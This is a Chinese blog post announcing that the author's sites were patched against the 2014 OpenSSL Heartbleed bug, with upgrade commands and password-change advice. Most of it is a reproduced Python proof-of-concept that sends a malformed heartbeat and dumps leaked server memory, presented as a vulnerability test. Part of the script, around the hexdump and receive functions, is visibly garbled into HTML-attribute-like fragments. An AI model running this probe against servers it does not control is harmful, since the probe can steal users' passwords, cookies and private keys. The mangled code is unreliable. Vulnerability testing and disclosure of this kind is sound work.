已修复 OpenSSL 心脏出血漏洞

heartbleed

OpenSSL 在 2014 年 4 月 7 日爆出心脏出血漏洞(Heartbleed Vulnerability),本站也受到了影响,但我已经在第二天(4 月 8 日)通过更新 OpenSSL 的方式修复了漏洞,又在第三天(4 月 9 日)重新购买了 sinosky.org 的 SSL 证书,并 reissue 了 ezdl.it 的证书。

 

受此漏洞影响的版本有 OpenSSL 1.0.2-beta 及 OpenSSL 1.0.1 - OpenSSL 1.0.1f,您可以通过更新 OpenSSL 至 1.0.1g 版本的方式自行修复此漏洞,修复漏洞后千万不要忘了重启相关的 web 服务(如 Apache、Nginx、Httpd 等)。

Debian、Red Hat Enterprise Linux(及其派生版,如 CentOS、Amazon Linux)和 Ubuntu(及其派生版,如 Linux Mint)等 Linux 发行版已经修复了此漏洞,但没有更改库版本。

Debian、Ubuntu 等:

[sudo] apt-get update
[sudo] apt-get dist-upgrade
[sudo] apt-get install openssl libssl1.0.0 #安装最新版的 OpenSSL

Red Hat Enterprise Linux、CentOS 等:

[sudo] yum update

 

此漏洞使攻击者可以获取到被攻击网站的用户密码、cookie、SSL 证书的私钥等敏感信息,所以在修复此漏洞后,您应该立即更新 SSL 证书并通知用户修改密码。

ezdl.it 并不存储您 Google 账户的密码,但 Google 同样受到了此漏洞的影响,所以我仍建议您更改 Google 账户的密码。

 

您可以使用 Heartbleed test 或以下代码来测试网站是否有此漏洞。

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c)="" <="126" else="" '.'="" )for="" c="" in="" lin)="" print="" '="" %04x:="" %-48s="" %s'="" %="" (b,="" hxdat,="" pdat)="" def="" recvall(s,="" length,="" timeout="5):" endtime="time.time()" +="" rdata="" remain="length" while=""> 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

 

央视也在今天(4 月 11 日)曝光了此漏洞,并称多数受影响的网站未告知用户已修复此漏洞,央视的采访还发现大部分网民并不知道或关心这个漏洞。